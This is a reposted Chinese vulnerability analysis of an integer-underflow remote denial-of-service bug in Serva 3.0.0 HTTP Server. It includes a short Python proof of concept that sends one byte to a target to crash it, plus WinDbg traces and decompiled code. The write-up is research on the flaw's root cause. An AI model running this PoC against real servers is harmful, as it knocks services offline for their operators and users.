Serva 3.0.0 HTTP Server整数溢出远程拒绝服务漏洞

栏目: 后端 · 发布时间: 6年前

内容简介:作者:k0shl 转载请注明出处:https://whereisk0shl.topServa Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。PoC:

作者:k0shl 转载请注明出处:https://whereisk0shl.top

漏洞说明

Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。

软件下载:

https://www.exploit-db.com/apps/ee00f393975d54945d5fa35207f4b7c4-Serva_Community_32_v3.0.0.zip

PoC:

import sys,socket

if len(sys.argv) < 3:

    print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'
    print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n'
    sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close

漏洞复现

Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。

首先,Windbg附加Serva,发送PoC,PoC里只有一个字符z,数据很短,Serva Server捕获到了崩溃。

0:009> g
(b44.91c): C++ EH exception - code e06d7363 (first chance)
(b44.91c): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=0197753c ebx=0197769c ecx=00000000 edx=00000003 esi=019775c4 edi=019776cc
eip=7c812aeb esp=01977538 ebp=0197758c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
kernel32!RaiseException+0x52:
7c812aeb 5e              pop     esi

这里调用RaiseException,明显是一处异常处理函数。查看一下kb堆栈回溯。

0:009> kb
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0197758c 004abaaf e06d7363 00000001 00000003 kernel32!RaiseException+0x52
019775c4 004cc909 019775e4 005e13e8 1dbf1f6d Serva32+0xabaaf
01977634 004085d3 00b8b178 0197769c ffffffff Serva32+0xcc909
01977648 004089a5 019776cc fffffffd 00000004 Serva32+0x85d3
01977678 00408f01 0197769c fffffffd 00000004 Serva32+0x89a5

离栈顶最近的几处调用都是异常处理部分,后面会说到,在4085d3位置的函数调用,会处理数据,并做一个比较。

if(*(DWORD *)(a1+20)< a3)
    sub_4CC8D2();

当a1+20长度小于a3的时候,则判断不通过,会进入异常处理的函数部分,这个a1+20的长度就是源于接收数据的长度,在这个函数入口下断点跟踪,会两次命中。

0:007> p
eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fa99
eip=004085c4 esp=0175f9f4 ebp=0175fa00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Serva32+0x85c4:
004085c4 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:0175fa08=0175fba8
0:007> p
eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fba8
eip=004085c7 esp=0175f9f4 ebp=0175fa00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Serva32+0x85c7:
004085c7 8bd9            mov     ebx,ecx
0:007> dc edi
0175fba8  00000000 2e323931 2e383631 312e3532  ....192.168.25.1
0175fbb8  00003330 0000000e

第一次命中时edi包括的是IP地址,偏移+14h,也就是+20位置存放的是前面数据串的长度,这样会连续命中两次。第二次接收到的是一个z,第三次命中的时候,来看一下a3的值。

0:009> p
eax=00000000 ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288
eip=004085be esp=01947648 ebp=01947648 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Serva32+0x85be:
004085be 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:01947654=fffffffd
0:009> p
eax=fffffffd ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288
eip=004085c1 esp=01947648 ebp=01947648 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
Serva32+0x85c1:
004085c1 53              push    ebx

a3的值是fffffffd,是一个负数,这个数作比较的时候会作为一个无符号数比较,这个数会变得非常大,导致了后面处理问题,那么这个数是从哪里来的呢。

向上层回溯的过程中,发现了这样一处调用。

signed int __stdcall sub_408EDC(char a1, int a2, int a3, int a4, int a5, int a6, int a7)
{
  int v7; // eax@1
  signed int v8; // edi@1
  bool v9; // bl@1
  char v11; // [sp+Ch] [bp-28h]@1
  int v12; // [sp+30h] [bp-4h]@1

  v12 = 0;
  v7 = sub_408BAB(&a1, (int)&v11, a6 - 4, 4u);

在调用sub_408BAB函数的时候,会将a6-4作为一个size大小传入,这个过程会将数据长度-4,我们传送的数据是z,长度是1,这个过程会令长度变成一个负数。

0:009> p
eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408eef esp=0194768c ebp=019476c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Serva32+0x8eef:
00408eef 6a04            push    4
0:009> p
eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408ef1 esp=01947688 ebp=019476c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Serva32+0x8ef1:
00408ef1 83c0fc          add     eax,0FFFFFFFCh
0:009> p
eax=fffffffd ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408ef4 esp=01947688 ebp=019476c4 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
Serva32+0x8ef4:
00408ef4 50              push    eax

可以看到eax作为长度刚开始是1,第二步会令eax-4,随后eax的值为fffffffd,接下来进入处理。

int __thiscall sub_408BAB(void *this, int a2, unsigned int a3, rsize_t a4)
{
  sub_408981(a2, (int)this, a3, a4, (int)&a2 + 3);
  return a2;
}

这里a4的值是fffffffd,接下来传入后就会进入我们之前的判断,判断时,这个长度值会很大,判断肯定成立,进入错误处理。

void __noreturn sub_4CC8D2()
{
  char v0; // [sp+Ch] [bp-50h]@1
  char v1; // [sp+34h] [bp-28h]@1
  int v2; // [sp+58h] [bp-4h]@1

  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>("invalid string position");
  v2 = 0;
  sub_408A9B(&v0, (int)&v1);
  _CxxThrowException((int)&v0, &unk_5E13E8);
}

在错误处理中,调用CxxThrowException导致拒绝服务漏洞。此漏洞形成的原因,就是因为对数据包的长度没有进行校验,直接减4(可能程序猿默认传入HTTP的数据包最少也是包含GET部分的数据的),此时如果长度是一个小于4的数,变成了负数,导致rsize_t作为无符号数判断时是一个很大的值,最后引发拒绝服务漏洞。


以上所述就是小编给大家介绍的《Serva 3.0.0 HTTP Server整数溢出远程拒绝服务漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Dive Into Python 3

Dive Into Python 3

Mark Pilgrim / Apress / 2009-11-6 / USD 44.99

Mark Pilgrim's Dive Into Python 3 is a hands-on guide to Python 3 (the latest version of the Python language) and its differences from Python 2. As in the original book, Dive Into Python, each chapter......一起来看看 《Dive Into Python 3》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具